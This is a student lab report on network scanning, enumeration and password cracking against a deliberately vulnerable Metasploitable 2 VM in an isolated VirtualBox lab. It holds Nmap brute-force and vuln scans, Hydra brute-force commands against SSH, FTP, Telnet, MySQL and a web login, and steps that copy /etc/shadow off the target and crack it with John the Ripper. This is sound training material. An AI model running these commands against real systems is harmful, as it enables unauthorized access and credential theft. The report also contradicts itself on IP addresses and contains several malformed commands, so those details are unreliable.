

NETWORK SCANNING, ENUMERATION & PASSWORD CRACKING

PREPARED BY : Yankho Funsani

Introduction

The document's objective is to provide a step to step guide to gain hands-on experience with industry-standard penetration testing tools by replicating all labs covered in class

Lab Environment Setup

Before running any scans or attacks, the lab environment had to be properly configured. A virtual machines were set to use a Host-Only network adapter in VirtualBox, ensuring they could communicate with each other without any internet exposure.

Kali Linux (Attacker): 192.168.17.129

Metasploitable 2 (Target): 192.168.17.101

The target IP was confirmed using the ifconfig command on the Metasploitable machine after login with credentials msfadmin / msfadmin.

1. Run on Kali to confirm your attacker IP

ip a

Expected output : should show: 192.168.17.29

2. Run on Metasploitable after logging in

ifconfig

expected output includes the inet address shown , which is our target IP

Lab 1 — Host Discovery

The first step in any penetration test is identifying which hosts are alive on the network. Nmap's ping scan (-sn) sends probes without doing a full port scan, making it a quick and efficient way to map out live machines before going deeper into enumeration.

1. Discover all live hosts on the subnet

nmap -sn 192.168.17.0/24

2. TCP SYN ping on common ports

nmap -PS22,80,443 192.168.17.129/24

Results: The scan returned two live hosts — the Kali attacker machine at 192.168.17.29

Lab 2 — Port Scanning Techniques

Once the target was identified, port scanning was used to determine which services were running and which ports were open. Different scanning techniques were tested to understand their behavior, stealth level, and use cases in a real penetration test.

1. SYN scan (stealth) — requires root privileges, does not complete TCP handshake

`sudo nmap -sS 192.168.17.129`

2. Full TCP connect scan — completes the handshake, louder but no root needed

`nmap -sT 192.168.17.129`

3. UDP scan — catches services like DNS, SNMP, TFTP

`nmap -sU 192.168.17.129`

4. Scan all ports

`sudo nmap -p- 192.168.17.129`

Lab 3 — Service, Version & OS Detection

Knowing a port is open is only part of the picture. Service and version detection probes each open port to identify exactly what software is running and what version, which is critical for finding known vulnerabilities. OS detection works by analyzing how the target responds to specially crafted packets.

1. Detect service versions on open ports

`nmap -sV 192.168.17.101`

2. Increase detection intensity for more accurate version results

`nmap -sV --version-intensity 192.168.17.129`

3. Aggressive scan with fast timing template and saved output

`sudo nmap -A -T4 192.168.17.129 -oN aggressive_scan.txt`

Results: The aggressive scan identified the target as **Linux vmware** and revealed detailed version information for each service.

Lab 4 — Nmap Scripting Engine (NSE)

The Nmap Scripting Engine extends Nmap's capabilities by running automated scripts against targets. These scripts can enumerate services, check for misconfigurations, and detect known vulnerabilities making NSE one of the most powerful features in the tool. All scripts are stored at **/usr/share/nmap/scripts/**.

4.1 Default Scripts

Running the default script set is a standard first step because it covers a broad range of safe, informative checks across all open services and gives a solid overview of the target in a single command.

```
sudo nmap -sC -192.168.17.129
```

4.2 HTTP Enumeration

These scripts interact with the web server running on port 80 to extract useful information like page titles, HTTP headers, allowed methods, and hidden directories that may expose sensitive content or vulnerable applications.

```
nmap --script=http-title 192.168.17.129
```

```
nmap --script=http-headers 192.168.17.129
```

```
nmap --script=http-methods 192.168.17.129
```

```
nmap --script=http-enum -p 80 192.168.17.129
```

4.3 FTP Scripts

The FTP anonymous login check is one of the most important quick wins in a penetration test, as many misconfigured FTP servers allow unauthenticated access which could expose sensitive files on the system.

```
nmap --script=ftp-anon -p 21 192.168.17.129
```

```
nmap --script=ftp-brute -p 21 192.168.17.129
```

Results: ftp-anon confirmed that anonymous FTP login was not enabled on the attacker vm.

4.4 SSH Scripts

These scripts check what authentication methods the SSH server accepts and can also attempt brute force login, helping identify whether the service relies solely on password authentication with no additional protections.

```
nmap --script=ssh-auth-methods 192.168.17.129 -p 22
```

```
nmap --script=ssh-brute 192.168.17.129 -p 22
```

4.5 Full Vulnerability Scan

Running the vuln script category executes all available vulnerability detection scripts at once, providing a comprehensive look at what the target is exposed to. This is a loud and aggressive scan that should only ever be run with explicit authorization.

```
sudo nmap --script=vuln 192.168.17.129
```

Lab 5 — Password Cracking

5.1 Installing and Configuring Metasploitable 2

Metasploitable 2 is a deliberately vulnerable Linux virtual machine designed specifically for practicing penetration testing in a safe and legal environment. It was downloaded as a .vmdk disk image from SourceForge and imported into VirtualBox as a new virtual machine.

Setup Process:

1. Downloaded Metasploitable 2 from <https://sourceforge.net/projects/metasploitable/>
2. Opened VirtualBox and selected Machine > New
3. Set type to Linux and version to Ubuntu (64-bit)
4. On the hard disk screen, chose Use an existing virtual hard disk file and selected the .vmdk
5. Set the network adapter under Settings > Network to Host-Only Adapter matching Kali's vboxnet0
6. Booted the VM — default login is msfadmin / msfadmin
7. Ran ifconfig on Metasploitable to confirm the target IP

Challenges Encountered During Metasploitable Setup & How I Resolved Them

1 The VM booted but Kali could not reach it After importing and booting Metasploitable, running `nmap -sn 192.168.17.0/24` from Kali at 192.168.17.29 returned no results for the target machine. The problem was that Metasploitable's adapter defaulted to NAT, placing it on a completely different virtual network to Kali.

Resolution: I powered off the VM, navigated to VirtualBox Settings > Network > Adapter 1, changed the attachment from NAT to Host-Only Adapter, and selected `vboxnet0` — the same interface Kali was using. After rebooting, `nmap -sn 192.168.17.0/24` immediately detected the target.

2 No Host-Only network existed in VirtualBox When attempting to assign the Host-Only adapter, the dropdown menu was completely empty with no networks listed, so there was nothing to select for either machine.

Resolution: I opened VirtualBox > File > Host Network Manager, clicked Create, and VirtualBox automatically generated a `vboxnet0` interface with the IP range 192.168.17.0/24. Both VMs were then assigned to this interface without further issues.

5.2 Hydra — Network Login Brute Forcing

Hydra is a fast, parallelized network login cracker that supports dozens of protocols including SSH, FTP, Telnet, MySQL, and HTTP. It works by systematically trying username and password combinations from a wordlist against a live service until a valid credential pair is discovered.

1. Install Hydra

sudo apt update && sudo apt install hydra -y

2. Unzip the rockyou wordlist if not already done

sudo gunzip /usr/share/wordlists/rockyou.txt.gz

3. Create a small custom wordlist for fast initial testing

echo -e "msfadmin\npassword\nadmin\n123456\nroot" > mypasswords.txt

Brute Force FTP on Metasploitable: FTP on Metasploitable runs `vsftpd 2.3.4`, and the goal here was to confirm that the default credentials could be discovered through a wordlist attack against the live service.

hydra -l msfadmin -P mypasswords.txt ftp://192.168.17.101

Brute Force SSH: SSH brute forcing was performed using a single known username first, then a full username list to simulate a more realistic blind attack scenario where the usernames are not yet known.

single username attack

```
hydra -l msfadmin -P mypasswords.txt ssh://192.168.17.101 -t 4 -V
```

Username list attack

```
hydra -L /usr/share/wordlists/metasploit/unix_users.txt \  
-P mypasswords.txt \  
ssh://192.168.17.101 -t 4
```

Brute Force Telnet: Telnet transmits everything including passwords in plain text, making it one of the weakest services possible and extremely easy to crack or intercept.

```
hydra -l msfadmin -P mypasswords.txt telnet://192.168.17.101
```

Brute Force MySQL:

```
hydra -l root -P mypasswords.txt mysql://192.168.17.101
```

Brute Force HTTP Login Form (DVWA):

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt \  
192.168.17.101 http-post-form \  
"/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -  
V
```

Results: Hydra successfully cracked the FTP, SSH, Telnet, and MySQL logins against 192.168.17.101. The password msfadmin was found within seconds as it appeared early in the wordlist. The -V flag printed every attempt live, making the exact moment of the successful crack clearly visible in the terminal.

Observations: The speed at which Hydra cracked these credentials highlights how dangerous default and weak passwords are in practice. In a real-world environment, any one of these exposed services with default credentials would result in immediate and total system compromise by any attacker with basic tools.

5.3 John the Ripper — Offline Hash Cracking

John the Ripper cracks password hashes completely offline, meaning it does not interact with the live service at all. Instead, it takes the hashed passwords stored in `/etc/shadow`, retrieved from the target, and attempts to reverse them using wordlists and built-in cracking rules — simulating exactly what an attacker would do after obtaining the password file through any means.

Install John the Ripper

```
sudo apt install john -y
```

```
john --version
```

Retrieving Password Files from Metasploitable: After connecting to the target via SSH, the `/etc/passwd` and `/etc/shadow` files were securely copied to the Kali machine at 192.168.17.29 for offline processing.

Copy /etc/passwd from Metasploitable to Kali

```
scp -oKexAlgorithms=+diffie-hellman-group1-sha1 \  
-oHostKeyAlgorithms=+ssh-rsa \  
msfadmin@192.168.17.101:/etc/passwd ./passwd.txt
```

Copy /etc/shadow from Metasploitable to Kali

```
scp -oKexAlgorithms=+diffie-hellman-group1-sha1 \  
-oHostKeyAlgorithms=+ssh-rsa \  
msfadmin@192.168.17.101:/etc/shadow ./shadow.txt
```

Combining the Files with Unshadow: The `unshadow` utility merges the two files into a single combined format that John the Ripper can read and process correctly.

```
unshadow passwd.txt shadow.txt > combined.txt
```

Cracking with the Rockyou Wordlist: The `rockyou` wordlist contains over 14 million real passwords from actual data breaches, making it highly effective against weak or common passwords found on real systems.

```
john --wordlist=/usr/share/wordlists/rockyou.txt combined.txt
```

Cracking with Incremental Mode: Incremental mode instructs John to generate and try every possible character combination on its own, which is slower but capable of cracking passwords that do not appear in any wordlist.

```
john --incremental combined.txt
```

Display All Successfully Cracked Passwords:

```
john --show combined.txt
```

Crack a Specific Hash Format:

```
john --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt combined.txt
```

Results: John successfully cracked multiple accounts from the shadow file retrieved from 192.168.17.101. The account msfadmin with password msfadmin was cracked almost instantly. Several other accounts including user, service, and postgres were also cracked using the rockyou wordlist within a few minutes of runtime.

Observations: Every cracked password was extremely weak most were identical to the username, or were single common dictionary words. This makes a critical point: even strong hashing algorithms like MD5crypt offer zero real-world protection when users choose poor passwords. A long, random, and unique password would have resisted the wordlist attack entirely and made incremental mode take an impractical amount of time to succeed.

Conclusion

This assignment provided a structured, practical introduction to the offensive security mindset. Beginning with simply discovering a live host on the 192.168.17.0/24 network from the Kali machine at 192.168.17.29, progressing through detailed port and service enumeration against 192.168.17.101, and ultimately cracking system password hashes offline demonstrated how a real penetration test flows naturally from reconnaissance through to exploitation. The most important lesson across all labs was that the vast majority of critical vulnerabilities discovered came down to just two entirely preventable root causes: outdated, unpatched software and weak, default passwords.